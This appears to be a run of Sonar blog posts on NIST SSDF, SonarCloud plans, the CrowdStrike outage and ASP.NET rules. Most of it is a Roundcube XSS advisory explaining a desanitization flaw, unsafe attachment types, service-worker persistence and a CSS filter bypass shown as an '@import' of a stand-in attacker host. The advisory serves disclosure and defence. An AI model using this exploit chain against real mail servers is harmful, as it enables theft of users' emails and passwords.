
If your application uses built-in sanitization bypasses, we recommend reconsidering whether they are really required or cannot be circumvented. If necessary, the data that is inserted as raw HTML should be sanitized beforehand, for example, by using a client-side sanitizer like DOMPurify.

Timeline

Date	Action
2023-12-20	We report the issue to the Firefly III maintainers.
2023-12-20	Firefly III maintainers acknowledge our report and provide a patch.
2023-12-26	Fixed version v6.1.1 is released.

Summary

In this blog post, we highlighted the need to take great care when bypassing built-in sanitization in JavaScript front-end frameworks. For use cases where this is really necessary, the data inserted as raw HTML should be sanitized to allow only necessary and safe tags and attributes. The Firefly III vulnerability covered in this blog post showed that this is not always easy.

We demonstrated how attackers might leverage a Client-Side Path Traversal vulnerability to control values that were assumed to be uncontrollable. Because of this, data inserted as raw HTML should be sanitized properly beforehand. Furthermore, a strong CSP should act as an additional defense-in-depth mechanism to reduce the impact of vulnerabilities like this.

At last, a huge shoutout to James and the rest of the Firefly III team for quickly verifying our report and providing a comprehensive patch. Thank you!

How Sonar Helps Meeting NIST SSDF Code Security Requirements

Robert Curlee — Wed, 07 Aug 2024 17:00:00 GMT

What is the NIST SSDF?

The NIST Secure Software Development Framework (SSDF) brings together security best practices and recommended standards collated from the industry’s best cyber security experts to help organizations minimize the risk of software vulnerabilities and mitigate cyber security attacks. It is designed to be adaptable without being specific to a methodology so you can easily integrate it into your existing software development lifecycle (SDLC) and fit it into your specific organization’s size, risk profile, and security practices.

NIST SSDF 1.1 with Sonar, Explained

The NIST SSDF 1.1 is organized into four key sections, each focusing on a specific aspect of security risk during software development. The four key practices are as follows, including how Sonar helps with each practice.

1. Prepare the Organization (PO)

This section focuses on establishing a security culture within the organization and creating an environment that prioritizes secure software development practices.

SonarQube integrates seamlessly into existing toolchains, providing automated code analysis and continuous inspection capabilities throughout the SDLC.
Once you define your specific security posture, you can configure SonarQube quality profiles and custom security engine configurations (available in the Enterprise edition), so your development teams follow your company-specific policies as they code.

2. Protect the Software (PS)

This section emphasizes safeguarding all software components so that only authorized access is allowed, and any tampering is prevented.

SonarQube's integration with version control systems (VCS) like GitHub and GitLab ensures that all code changes are tracked and audited.
SonarQube’s strict authentication mechanisms and user and group permissions prevent unauthorized access and maintain the integrity of your codebase.
SonarQube's Quality Gates feature allows organizations to set predefined criteria that must be met before code can be released, ensuring code integrity throughout the development process.

3. Produce Well-Secured Software (PW)

This section highlights activities that lead to developing software with minimal security vulnerabilities, such as secure design principles, threat modeling, secure coding practices, recurring code reviews, and static code analysis.

SonarQube performs automated code reviews using static code analysis to identify security vulnerabilities and code quality issues early in the development process, allowing developers to address issues during the design and implementation phases.
SonarQube's detailed reports and dashboards provide visibility into code quality and security, facilitating design reviews and compliance checks.
SonarQube can detect code duplication, encouraging developers to reuse existing, well-tested code rather than reinventing the wheel.
SonarQube enforces a wide range of coding standards and best practices through its rule sets, which can be customized to follow your organization’s security guidelines.
By integrating SonarQube into the build process, organizations can ensure that security checks are performed at every stage of development.
A core strength of SonarQube, the SSDF explicitly calls for a static analysis tool “to automatically check code for vulnerabilities and compliance with the organization’s security coding standards.”

4. Respond to Vulnerabilities (RV)

Lastly, this section focuses on the processes for identifying, mitigating, and remediating vulnerabilities discovered in software after it is released.

SonarQube continuously monitors code for new vulnerabilities, providing real-time feedback to developers.
Sonar shortens the detection and remediation cycle by providing developers with accurate, up-to-date vulnerability information within their daily workflows.
SonarQube's detailed reports prioritize vulnerabilities based on their severity and impact on code quality, allowing organizations to focus on the most critical issues.
SonarQube's detailed issue descriptions, using the Learn as You Code (LaYC) methodology and code navigation features, help developers understand and address the root causes of vulnerabilities.

Sonar’s solutions, including SonarLint, SonarQube, and SonarCloud, help you meet NIST SSDF code security requirements and enhance overall code quality. Sonar addresses critical NIST SSDF practices for protecting and securing software and responding to vulnerabilities, making it essential for a comprehensive, secure development lifecycle. With Sonar's Clean Code solutions, you can build secure, reliable, and maintainable software.

Not yet using SonarLint, SonarQube, or SonarCloud? Give them a try now. Or, if you’re already using SonarQube Community Edition, upgrade to SonarQube Enterprise Edition to get the most value and strongest security features Sonar has to offer.

Government Emails at Risk: Critical Cross-Site Scripting Vulnerability in Roundcube Webmail

Oskar Zeino-Mahmalat — Mon, 05 Aug 2024 15:00:00 GMT

Update 2024-08-27: Full technical details added.

Key Information

Sonar’s Vulnerability Research Team recently discovered a critical Cross-Site Scripting (XSS) vulnerability in Roundcube, a popular open-source webmail software.
When a victim views a malicious email in Roundcube sent by an attacker, the attacker can execute arbitrary JavaScript in the victim's browser.
Attackers can abuse the vulnerability to steal emails, contacts, and the victim's email password as well as send emails from the victim's account.
In October 2023, ESET Research reported that a similar vulnerability was actively used by the APT group Winter Vivern to attack European government entities.
Roundcube administrators should update to the patched version 1.6.8 or 1.5.8 as soon as possible.
All discovered issues are tracked as CVE-2024-42008, CVE-2024-42009, CVE-2024-42010.

Introduction

Roundcube is a popular open-source webmail software that enables users to check their emails right in their browser without needing dedicated client software. It is included by default in the server hosting panel cPanel leading to millions of installations around the globe, according to Shodan. It is also used by universities as well as government agencies.

Government employees' emails are a valuable target for Advanced Persistent Threat (APT) groups engaged in espionage. ESET Research and Insikt Group both report documented attack campaigns by the Winter Vivern APT in 2023, targeting Roundcube servers of the Ukrainian military, Georgian Defense Ministry, and other European entities. These attacks abused a similar Cross-Site Scripting (XSS) zero-day vulnerability in Roundcube to steal emails or passwords from victims who viewed a malicious email.

In this article, we explain the vulnerabilities we discovered in Roundcube, show how attackers could exploit them for a higher impact, and describe how similar vulnerabilities in web mailers can be prevented.

Impact

Roundcube in version 1.6.7 and below, and in version 1.5.7 and below, is vulnerable to the XSS vulnerabilities CVE-2024-42009 and CVE-2024-42008, which have critical and high ratings respectively. These allow an unauthenticated attacker to steal emails and contacts, as well as send emails from a victim's account. All the victim user has to do is view a malicious email in Roundcube.

Attackers can gain a persistent foothold in the victim's browser across restarts, allowing them to exfiltrate emails continuously or steal the victim's password the next time it is entered. For a successful attack, no user interaction beyond viewing the attacker's email is required to exploit the critical XSS vulnerability (CVE-2024-42009). For CVE-2024-42008, a single click by the victim is needed for the exploit to work, but the attacker can make this interaction unobvious for the user.

This video demonstrates how an attack could look like using a Roundcube test instance:

Watch the video

We suspect that dedicated attackers like Winter Vivern will abuse these vulnerabilities at some point, as they have already shown that they can discover and exploit similar XSS vulnerabilities. That is why we strongly advise Roundcube administrators to apply the latest patch, version 1.6.8, or 1.5.8, as soon as possible to protect their organization's users. Users who suspect that they are affected should change their email password and additionally clear the site data of the Roundcube site they are using in their browser.

Technical Details

In this section, we explain the root cause of the two XSS vulnerabilities we discovered: Desanitization and unsafe Content-Types. We also detail holes in the CSS filtering of Roundcube that can be abused to aid an XSS attack and how the unsafe Content-Type issue can be abused by attackers to gain additional persistence in the victim's browser.

Desanitization in Inline Email Rendering (CVE-2024-42009)

We are all used to HTML emails with nice-looking formatting and styles. Roundcube needs to sanitize the HTML before rendering it in your browser to prevent XSS attacks. Roundcube uses washtml for this, a custom server-side sanitizer. We did not find an issue in the sanitization logic itself. Instead, we looked into modifications after sanitization that could lead to Desanitization, when sanitized HTML is made harmful again.

We discovered a Desanitization issue when emails are prepared for display in the message_body() function. The issue can be abused to smuggle an XSS payload in an email through the sanitizer undetected, which can become a new event handler attribute because of a later modification.

public static function message_body($attrib)
{
  // ...
  // Parse the part content for display
  // [1] sanitize
  $body = self::print_body($body, $part, $body_args);
  // ...
  if ($part->ctype_secondary == 'html') {
     // [2] modify -> desanitization
     $body = self::html4inline($body, $body_args); 
  }
  // [3] desanitized html is displayed
  $out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
  // ...
}

program/actions/mail/show.php#L709-L721

At [1], the HTML body of the mail is sanitized inside of print_body(), which uses washtml for the sanitization. The return value is a full HTML document though. Roundcube does not use an iframe to render the HTML email separate from the main page. Instead, it is transformed into an HTML snippet to become a part of the whole Roundcube page in html4inline() [2]. We will see that this is dangerous since the modifications performed here can break the sanitized HTML. Finally, the desanitized HTML is appended to the output buffer $out and later rendered [3].

The html4inline() function transforms a full HTML document into a snippet by removing <!DOCTYPE>, <head>, and other elements. It replaces <body> with <div>, as the main page already has a <body> element. There is also some logic to remove the legacy attributes bgcolor, text, and background from the <body> element. They are replaced with equivalent CSS inside a newly added style attribute.

The <body> element and its attributes are parsed using a simple regex. The input of html4inline() is already sanitized, so all stray angle brackets in attributes or elsewhere are encoded or removed, making this a safe approach.

public static function html4inline($body, &$args)
{
  //...
  $regexp = '/]*)/';

  // Handle body attributes that doesn't play nicely with div elements
  if (preg_match($regexp, $body, $m)) {
    $style = [];
    $attrs = $m[0];
    // ...
  }
}

program/actions/mail/index.php#L1219-L1246

The $attrs variable now contains all attributes of <body> as a string. Another regex extracts each of the legacy attributes from $attr. Zooming in on the bgcolor regex, we see that it performs attribute parsing for all possible delimiters: double, single, or no quotes.

/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i

But this regex is faulty! It does not check if it happens to match inside an attribute value or not. The text bgcolor=something could easily show up inside of another attribute. The regex also does not check if the matched attribute value starts and ends with the same quote type or no quote at all. This incorrect parsing can be abused to break the otherwise safe HTML, as everything matching the regex is removed. The breakage occurs when an uneven number of quotes is removed. Subsequent attribute values can escape and become new attributes like event handlers with an XSS payload.

Here is an example of this: bgcolor is matched inside an attribute value, and the closing quote is also matched and removed. The hidden onload inside the name attribute becomes a new attribute because of the quote imbalance.


preg_replace() --->

Because html4inline() is used after sanitization, malicious attributes that are introduced this way are not removed. Later, the <body> is transformed into a <div> by simply replacing the prefix <body with <div. An attacker needs to adapt their XSS payload to work with <div>, so onload does not work. Instead, onanimationstart can be used with an existing animation from the Bootstrap CSS framework loaded in Roundcube.

Foo

There are no further mitigations used like a Content-Security-Policy (CSP) or a sandboxed iframe. This simple email body is enough to execute JavaScript in the victim's browser and access their emails. And it is not the only XSS vulnerability we discovered.

Unsafe Content-Types for Attachments (CVE-2024-42008)

Roundcube has two ways to access attachments: an Open button and a Download button. Both buttons open the same link in a popup, but the Download button adds a _download=1 query parameter.

https://roundcube.example?_task=mail&_mbox=INBOX&_part=2&_action=get&_uid=1337&_download=1

Depending on the presence of this query parameter, the Content-Disposition header is set to attachment or inline. This header tells the browser whether a resource should be downloaded instead of displayed in the browser. The filename, MIME type, and charset of the attachment are also sent as headers to the browser.

$rcmail->output->download_headers($filename, [
    'type' => $mimetype,
    'type_charset' => $attachment->charset,
    'disposition' => !empty($_GET['_download']) ? 'attachment' : 'inline',
]);
// ...
$attachment->output($mimetype);

program/actions/mail/get.php#L271-L290

Displaying an arbitrary attachment with an arbitrary MIME type in the browser can lead to XSS, for example when the attachment is an HTML file. There are almost no checks in place for the MIME type here, even though it comes from a potentially malicious email. For text/html and image/svg+xml, the washtml sanitizer is used again. But for all other MIME types, Roundcube displays the attachment inline and without changes. Attackers can abuse this with an XML file as well as other MIME types to trigger XSS.


    alert(origin)

This issue is not new. It is tracked as CVE-2020-13965 and was supposedly fixed by disabling the Open button for text/xml files. For other dangerous MIME types, the Open button was already disabled. However, the unsafe behavior of displaying all attachments in the browser is still there. Users can just no longer click anywhere to navigate to the link that triggers the XSS. But what if an attacker just adds the necessary link to the email body and convinces the victim to click it? Then the attack would work again.

As seen above, attachment links have a simple format. They contain the IMAP UID, folder, and MIME part number to identify the attachment. Usually, the folder is called "INBOX" and the part number is 2, with part 1 being the HTML body of the email. So an attacker only needs to guess or leak the UID somehow, as a victim probably would not click on hundreds of links with different UID values.

In our other blog posts about web mailers like ProtonMail, we have seen that CSS in the email body can be abused to leak attribute values on the current page. An attacker can try the same with Roundcube to leak the UID, which is part of a link on the page.

CSS Filter Bypass (CVE-2024-42010)

The main prevention against CSS leaks in Roundcube is not a CSP, but only a regex-based blocklist filter on the CSS text. The mod_css_styles() function tries to detect dangerous functions or rules, including url() or @import which can make connections to a remote server. String blocklists are often bypassed by abusing the syntax rules of the language, for example, comments or whitespace. That is probably why Roundcube deletes all characters except a-z(:; before performing some of the blocklist checks.

public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = '')
{        
  // ...
  $stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
  $evilexpr = 'expression|behavior|javascript:|import[^a]' . 
      (!$allow_remote ? '|url\((?!data:image)' : '');
  if (preg_match("/{$evilexpr}/i", $stripped)) {
    return '/* evil! */';
  }
  // ...
}

program/lib/Roundcube/rcube_utils.php#L419-L424

To block @import rules, the word import is blocked, except when it is followed by an a to avoid blocking the valid !important keyword. This interesting regex can be bypassed, precisely because it is operating on the stripped version of the CSS, not the full CSS. An attacker can simply choose a domain name for their server that starts with an a and trick the check into seeing importa, which is allowed.

regex:    import[^a]
input:    @import "//a.evil.com/leak"
stripped: importaevilcomleak

After the blocklist check, the original unstripped CSS is used for rendering the email. The smuggled @import can now import arbitrary unfiltered CSS to leak the UID from an attribute on the page using the known import-based CSS leak technique.

With the same CSS filter bypass, the attacker can add styles that make a link in the email very large and overlay other elements. For demonstration purposes, we have colored this overlaid link in red:

As soon as the victim clicks somewhere in the email view portion of the Roundcube page, the overlayed link is clicked instead. The link points to the attacker server, which redirects the victim to the malicious attachment using the now leaked UID, triggering the XSS payload.

Service Workers for Persistent XSS

We have seen that an old issue of unsafe Content-Type headers can be combined with a new CSS leak to trigger a Stored XSS vulnerability. A usual Stored XSS vulnerability triggers every time the victim views the stored payload. In the case of emails, this is probably only once and then the email gets deleted, meaning that the attacker can also only steal emails once.

Unfortunately, in the case of Roundcube, motivated attackers can go a step further and achieve persistence to steal emails long after the XSS payload has been triggered. They can combine the building block we already have – unsafe Content-Types for attachments – with service workers.

A service worker is a script that the browser executes for every HTTP request on the page. It can be registered by any normal JavaScript on the page. The service worker can change the response to intercepted requests, usually for caching purposes. A malicious service worker, however, can abuse this power to add new scripts to the server's HTML response. Service workers are in effect across page loads and browser restarts, even if the worker is never registered again.

The service worker specification mitigates the risk of malicious service workers in multiple ways: A service worker script must be hosted on the same origin and served with a JavaScript Content-Type header. A Content-Security-Policy served together with the script applies to the script as well. Lastly, a service worker can only influence requests that are on the same or more nested path level than the path where the script was served.

All mitigations do not apply in the Roundcube case: Attackers can serve JavaScript files as email attachments on the Roundcube server, the same way they can serve a dangerous XML file. Roundcube does not use a CSP that could prevent the service worker registration. It also does not use paths for routing, only query parameters, so the attachment containing the service worker script is served at the root path.

Attackers can create a malicious service worker using one of the two XSS vulnerabilities, put the service worker script inside an email attachment, and use that attachment's URL for registration. The service worker can then add email- or password-stealing logic on every page load of Roundcube, as we have demonstrated in the Proof-of-Concept video above. This diagram summarizes the exploit steps:

Patches

The Roundcube maintainers fixed all findings in a straightforward way.

The Desanitization issue (CVE-2024-42009) was addressed by removing the post-processing step that caused the vulnerability.

 public static function message_body($attrib)
 {
   // ...
   $body = self::print_body($body, $part, $body_args);
   // ...
-  if ($part->ctype_secondary == 'html') {
-     $body = self::html4inline($body, $body_args); 
-  }
   $out .= html::div($body_args['container_attrib'], $plugin['prefix'] . $body);
   // ...
 }

40a4a71: program/actions/mail/show.php

Instead, the "legacy attribute to style" conversion was moved into the sanitization process as a hook named washtml_callback (40a4a71: program/actions/mail/index.php). The sanitizer uses more robust attribute parsing compared to the buggy regex and the attribute values are properly escaped, preventing any malicious attributes from breaking out.

Dangerous MIME types (CVE-2024-42008) are now converted to the harmless text/plain. Attachments are now also served with a restrictive CSP as an additional defense mechanism.

 public function download_headers($filename, $params = [])
 {
   // ...
+  if ($disposition == 'inline') {
+  if (preg_match('~(javascript|jscript|ecmascript|xml|html|text/)~i', $ctype)) {
+    $ctype = 'text/plain';
+  }
   // ...
+  // Use strict security policy to make sure no javascript content is executed
+  header("Content-Security-Policy: default-src 'none'");

78cc630: program/lib/Roundcube/rcube_output.php

The bypassable CSS filter (CVE-2024-42010) was improved by actually searching for @import and no longer operating on stripped CSS, among other changes.

 public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = '')
 {
   // ...
   $source = self::xss_entity_decode($source);
-  $stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
-  $evilexpr = 'expression|behavior|javascript:|import[^a]' . (!$allow_remote ? '|url\((?!data:image)' : '');
 
-  if (preg_match("/{$evilexpr}/i", $stripped)) {
+    // No @import allowed
+    // TODO: We should just remove it, not invalidate the whole content
+    if (stripos($source, '@import') !== false) {
       return '/* evil! */';
     }

c99dcac: program/lib/Roundcube/rcube_utils.php

If you happen to develop web mailer software yourself, you can take multiple defense-in-depth measures to better protect against XSS: Sanitize the untrusted HTML with a client-side sanitizer like DOMPurify to protect against mXSS. Avoid any modifications of the sanitized HTML to prevent Desanitization. You can then render the HTML inside a sandboxed iframe, which disables JavaScript inside the iframe. This also prevents malicious CSS in the email from changing the surrounding page or leaking data from the page, as the iframe is a completely separate document. We also recommend using a strong CSP with nonces or hashes to further mitigate any HTML injections and prevent information leaks.

Timeline

We want to thank the Roundcube maintainer Aleksander Machniak for the quick response and for publishing patches for the issues.

Date	Action
2024-06-18	We report all issues to the Roundcube maintainers.
2024-06-18	The maintainers acknowledge our report.
2024-07-17	The maintainers send patches for review.
2024-07-18	We send feedback for the patches.
2024-08-04	The maintainers publish patched Roundcube versions 1.6.8 and 1.5.8.
2024-08-05	We publish an initial blog post, withholding details about the vulnerabilities.
2024-08-05	MITRE publishes CVE-2024-42008, CVE-2024-42009, and CVE-2024-42010.
2024-08-27	We update this blog post with full technical details.

Summary

In this article, we showcased multiple vulnerabilities in Roundcube and how attackers could combine them to continuously steal emails from unsuspecting victims. Threat intel by ESET Research and Insikt Group about the APT Winter Vivern confirms that the abuse of these vulnerabilities for cyber espionage is a real threat and not just speculation. We took a deep dive into the code, figuring out the source of the vulnerabilities and also how they were fixed. Finally, we gave some general recommendations on how to prevent XSS vulnerabilities in web mailing software.

The source code of projects like Roundcube, which has been around for almost 20 years, can be very convoluted, which increases the risk of security vulnerabilities. Adopting Clean Code principles can shed light on the dark corners that have emerged over time. By ensuring that the code remains maintainable, reliable, and secure, developers can more easily identify and address complex security issues such as Desanitization that are often hidden in convoluted code.

Now Introducing, SonarCloud Enterprise and SonarCloud Team

Andrew Osborne — Wed, 31 Jul 2024 05:00:00 GMT

Introduction

Since its launch in 2018, SonarCloud’s growth has been exciting and impressive. Today, over 3.6B lines of code (LOC) are continuously analyzed for issues relating to reliability, security, and maintainability across 179k active projects and 16k companies.

SonarCloud analyzes the quality and security of source code for both human-developed and AI-assisted code at scale.

Introducing new plans for SonarCloud

Today we are excited to expand our SonarCloud offering with the availability of two new plans, SonarCloud Enterprise and SonarCloud Team. With the new Enterprise and Team plans for SonarCloud, Sonar empowers development teams of all sizes to deliver Clean Code with confidence.

The SonarCloud Enterprise plan delivers a range of advanced features and is now available via an early access program. It delivers single sign-on (SSO) via SAML, enterprise hierarchy, management reporting, portfolios, org-wide project configuration, and support for enterprise-specific languages such as COBOL.

We intend to build upon these features in the coming months, adding enterprise billing, scalable token management, synchronized access management, and US hosting (to complement the existing EU hosting). In addition, the Enterprise plan includes access to commercial support and a dedicated SLA. We welcome you to contact us to learn more about the value these features bring, and to try them for yourself.

For new SonarCloud projects, the following features will be exclusively available with the SonarCloud Enterprise plan: enterprise languages (ABAP, COBOL, RPG, PL/I, Apex), GitHub Advanced security integration, org-level Project management, and Quality Profile delegate permissions.

More about the new SonarCloud Enterprise features

SSO (Single Sign-On) authentication through SAML delivers increased security and a single source of truth for user authentication at the enterprise level.

Today, we cover Microsoft Entra ID as well as other providers (IdPs) such as Okta and JumpCloud. This will allow enterprise users to connect through their company’s centralized identity provider. Authentication via the DevOps platform will still be available.

Enterprise hierarchy delivers the ability to group organizations into an enterprise, independently from the DevOps platform(s). This solves the challenge for large enterprises that have multiple organizations and need a way to manage these. It also paves the way for portfolios to be created across multiple organizations.

Portfolios enable managers to group together projects into a portfolio and identify which needs focus and in what respect. Providing a bird's eye view of projects that may span organizations within an Enterprise, managers can be directed toward the projects needing the most attention.

Management reporting offers Project and Security reports similar to those found in SonarQube.

It delivers a view of the state of an enterprise’s projects and highlights any issues you may have from the point of view of a range of industry security metrics (PCI DSS, OWASP, and CWE Top 25).

Org-wide project configuration eases the pain of onboarding and managing high volumes of projects. This feature allows users to configure default settings that can be applied to all projects at onboarding.

The SonarCloud Team plan delivers essential capabilities for small development teams and businesses, both from an ecosystem integration and collaboration perspective. It provides a reliable SaaS solution delivering branch analysis, pull request decoration, and support for 28 languages and frameworks.

With the Team plan, developers can scan both public and private projects for actionable insights that enable consistent and efficient Clean Code delivery all in a simple, fast time-to-value SaaS model hosted by Sonar. Teams also have control to define the quality standard they want their codebase to follow.

Simplified pricing based on lines of code benefits both Team and Enterprise plans. Additionally, SonarCloud is now available on AWS Marketplace.

We will continue to offer our Free SonarCloud plan to support open-source projects.

Next Steps

We are excited to continue investing in SonarCloud to equip teams and enterprises to deliver clean code. We value your continued support and, as always, encourage you to engage with us via our Community and public roadmap. Your feedback is a gift.

If you have any questions or would like to learn more about the new enterprise features and how to try them, reach out to your account manager or contact us here to discover more. We would love to continue the conversation.

What Code Issues Caused the CrowdStrike Outage?

Sonar — Thu, 25 Jul 2024 16:00:00 GMT

Update 07AUG2024: CrowdStrike released a technical root cause analysis that confirms that an array out-of-bounds read, very similar to our example, caused the issue.

On 19 July 2024, an estimated 8.5 million Windows computers worldwide crashed and were unable to reboot, stuck in a blue screen of death. The outage impacted businesses and governments around the globe, affecting a vast majority of industries in transportation, financial services, healthcare, and more.

Not unexpectedly, this immediately raised fears of a large-scale cyber attack. Was this the long-feared global hacker attack aimed at disrupting our computer-based world and causing chaos worldwide? Thankfully, no. Within hours after the outage, CrowdStrike confirmed that a faulty update in their endpoint protection software, specifically its Falcon Sensor, caused the issue.

While the affected source code is not published, this blog post summarizes what CrowdStrike has publicly confirmed and examines code-level problems that could have led to this global outage. Our goal is to shed light on what type of bugs can lead to such serious software reliability issues in general and why catching code issues early in the development process is as important as catching security vulnerabilities.

What Happened: What we Know so Far (25JULY2024)

CrowdStrike Falcon Sensor is a lightweight agent that collects endpoint data and protects a computer from cyberattacks. To monitor system processes, detect malicious activity, and respond to threats in real time, it needs access to low-level system functions. This requires it to run a Windows kernel driver, which is usually written in C and C++. Since it should not be allowed to disable the protection easily, this driver is marked as a Boot-Start driver, which makes it mandatory for Windows startup.

This means that Falcon becomes a very important, sensitive component of the operating system once installed. To recap:

The kernel driver is required for Windows to boot.
The kernel driver has extensive capabilities to interact directly with hardware, manage system resources, and access protected memory.
The kernel driver influences the operating system's core behavior.

Due to the immense responsibility and trust put in kernel drivers, they usually must surpass extensive testing via Microsoft’s Windows Update program. Driver packages that pass the tests of the Windows Hardware Lab Kit are digitally signed by Microsoft and marked as trustworthy. Although Falcon’s driver itself is also signed, complete testing via the Windows Hardware Lab Kit requires time. In order to quickly respond to novel techniques of cyber threat actors, Falcon needs to employ a more flexible approach to make changes to its kernel driver. For this purpose, CrowdStrike provides Rapid Response Content that is delivered in the form of a content configuration update. These updates contain Channel Files that the driver dynamically loads. These files influence the way how the kernel drivers work.

The update that caused the outage contained a faulty channel file, which resulted in the kernel driver reading memory out-of-bounds [source]. While a user-land application would simply crash by an issue like this, a kernel driver sitting at the heart of the operating system causes the whole system to crash – resulting in the infamous blue screen we have seen during the outage.

Exploring Potential Root Cause in the Code

The incident has intrigued experts around the world who were interested in determining the exact root cause of this memory out-of-bounds issue. Although some of these were already proven to be wrong, and CrowdStrike has not disclosed the faulty source code, let’s have a look at scenarios that may have caused an issue like this.

Null Pointer Dereference

A pointer in C and C++ is a variable that stores a memory address, allowing direct manipulation of data and efficient memory management. A pointer to null, also known as a null pointer, is created by initializing a pointer object to 0, NULL, or in the case of C++ nullptr. A null pointer does neither point to an object nor to valid memory, and as a consequence dereferencing or accessing the memory pointed by such a pointer is undefined behavior, which usually results in a whole system crash for a kernel driver:

int deref() {
  int* ptr = 0;
  // Noncompliant: dereference of a null pointer
  return *ptr;
}

In addition to using the * operator, accessing a member of a structure (using ->) or an element of an array (using []) also dereferences the pointer and very likely causes a crash if performed on a pointer to null:

struct Aggregate {
  int x;
  int y;
};

int memberAccess() {
  struct Aggregate* ptr = 0;
  // Noncompliant: member access on a null pointer
  return ptr->x; 
}

You can find out more about Null Pointer Dereferences in our S2259 rule documentation. While the security community suspected a Null Pointer Dereference behind the outage at the beginning [source], this was later proven wrong [source]. Rather, it is suspected that an uninitialized variable could be the root cause.

Uninitialized Variables

Local variables in C and C++ must be declared to allocate memory and can optionally be initialized with a specific value upon declaration. A local variable of any built-in type (such as int, float, and pointers), declared without an initial value, is not initialized to any particular value as this process incurs a slight computational overhead. Consequently, if no value is assigned to such a variable first, the variable holds an arbitrary value left in its memory location by previous program operations, likely resulting in unintended behavior:

int addition() {
  // x is not initialized
  int x;  
  // Noncompliant: value of x undefined
  return x + 10;
}

int dereference() {
  // p is not initialized
  int* p;
  // Noncompliant: value of p undefined
  return *p; 
}

Similarly, structures that simply aggregate variables of built-in types, such as arrays or struct/class types without a constructor, will not initialize their members when declared without an initializer:

struct Aggregate {
  int i;
  float f;
};

void aggregates() {
   // each element of array is not initializer
  int* intArray[5];
  // members aggr.i, agrr.f are not initialized
  Aggregate aggr; 
  // members of each element are not initialized
  Aggregate aggrArray[2]; 
}

Finally, allocating objects of builtin or such aggregates types on the heap also does not initialize their values:

void usingMalloc() {
  // each of 10 allocated integers is not initialized
  int* intArr = (int*)malloc(sizeof(int) * 10);
}

This also applies when new is used in C++:

void usingNew() {
  // members of allocated Aggregate are not initialized
  Aggregate* aggrPtr = new Aggregate;   
  Aggregate* aggrArr = new Aggregate[5]; 
}

You can find out more about uninitialized variables in our S836 rule documentation.

The lack of variable initialization is one type of issue that can lead to out-of-bounds memory reads, which is mentioned in the preliminary post-incident review release by CrowdStrike [source]. But other issues can lead to out-of-bounds memory reads as well. Let’s have a look at these issues in general.

Out-of-bound Memory Access

Arrays and buffers are contiguous blocks of memory accessed using numerical indices to reference individual elements. Array overruns and buffer overflows occur when memory access accidentally exceeds the boundary of the allocated array or buffer. These overreaching accesses cause some of the most damaging and difficult-to-track defects. Not only do these faulty accesses constitute undefined behavior, but they frequently introduce security vulnerabilities, too.

This type of issue can, for example, occur when referencing elements of an array:

void access_exceeds(void) {
  int id_sequence[3];
  id_sequence[0] = 100;
  id_sequence[1] = 200;
  id_sequence[2] = 300;
  // Noncompliant: memory access is out of bounds
  id_sequence[3] = 400;
  // Accessed memory exceeds upper limit of memory block
}

In a similar fashion, a pointer can access out-of-bound memory:

void access_precedes(int x) {
  int buf[100];
  int *p = buf;
  --p;
  // Noncompliant: memory access is out of bounds
  p[0] = 9001;
  // Accessed memory precedes memory block
}

Furthermore, unsafe calls to functions like memcpy may introduce out-of-bound memory access:

void memcpy_example(void) {
  char src[] = {1, 2, 3, 4};
  char dst[10];
  // Noncompliant: memory copy function accesses out-of-bound array element
  memcpy(dst, src, 5);
}

You can find out more about out-of-bound memory access in our S3519 rule documentation.

What We Can Takeaway from the CrowdStrike Outage

Bugs are an inevitable part of software development and regularly occur in code – all code is susceptible. Here, we illustrated how three different types of bugs can lead to an outage just like this one. While the affected source code is not published, it becomes evident that fixing all of these issues is essential.

This outage reminds us of the impact that even a small code issue can have – the financial damage alone could reach tens of billions of dollars [source].

A lot of attention is paid to software and code security, but reliability and maintainability issues are often neglected. You can talk to our team about finding and fixing these issues early in the development process here.

ASP.NET Core Web Apps

Denis Troller — Wed, 24 Jul 2024 14:00:00 GMT

We are always looking at the best way to help ASP.NET Core developers deliver quality code. This year, we wanted to tackle problems developers face building ASP.NET Web Apps to complement the work we started last year for the Blazor framework.

We looked in detail at some big and small problems that can crop up when using ASP.NET Core, whether in ASP.NET MVC or ASP.NET WebAPI. It was not easy because ASP.NET Core is such a huge framework, but we devised a set of rules that tackle the biggest problems facing developers. We released those rules in May on SonarCloud and in July with the 10.6 SonarQube release. Now it’s time to give you insight into where we thought we could best help you develop ASP.NET Web Apps in C#.

What defines quality for ASP.NET web apps?

There are many ways to evaluate the quality of a code base for ASP.NET web apps. We decided to take a stance on some issues we looked at and tackle some issues, such as

Controller Bloat
Endpoint performance
Metadata coherence and API documentation
Model definition and validation

Controller Bloat

We know that Controllers are an easily abused pattern. Lack of experience and tight deadlines sometimes lead to bad decisions that compound over time.

There are excellent open-source projects out there that help keep Controllers lean.

ApiEndpoints by Steve Smith (Ardalis), to keep the classes very focused,
MediatR by Jimmy Bogard
Wolverine by Jeremy D. Miller to delegate the work to handlers and keep your endpoints as simple as possible.

We would advise you to look at these, but not everyone can use them, and we all know from experience how easy it is to “just add one action on this Controller.”

To detect the slippery slope of adding actions, we added some rules targeting Routing and one rule detecting mixed responsibilities, which I want to focus on here. Rule S6960 identifies unrelated actions and helps you extract them into separate Controllers. Sonar will detect actions that do not share dependencies and group them for you so you can easily move them. This keeps your Controllers focused and limits useless service resolution.

Please provide feedback on this rule. We believe it is important, and it was tricky to implement. You can share your experience with the rule and your ideas in our community!

Endpoint Performance of ASP.NET Web Apps

ASP.NET Core is an astonishing work of performance, and unfortunately, developers often miss out on some of its benefits by not updating their code to leverage the latest advancements. Let’s take a closer look at a few of them.

Most developers know by now that Actions should be asynchronous. Still, it is common to miss opportunities to use async versions of existing methods, whether because we do not know async versions are available or because the code predates the appearance of the async version.

Rule S6966 identifies opportunities to switch to an asynchronous version of a method. It will help you keep your web server humming and take full advantage of the nature of ASP.NET Core.

By the way, this rule is not specific to ASP.NET web apps and will trigger in any async method, helping you whether you are a web developer or not!

For example, take this example. It is admittedly useless, but it will give you an idea of what we find:

public async Task Examples(Stream stream, DbSet dbSet)
{
    stream.Read(array, 0, 1024);           
    File.ReadAllLines("path");              
    dbSet.ToList();                         
    dbSet.FirstOrDefault(x => x.Age >= 18); 
}

Sonar will flag this and help you refactor it to

public async Task Examples(Stream stream, DbSet dbSet)
{
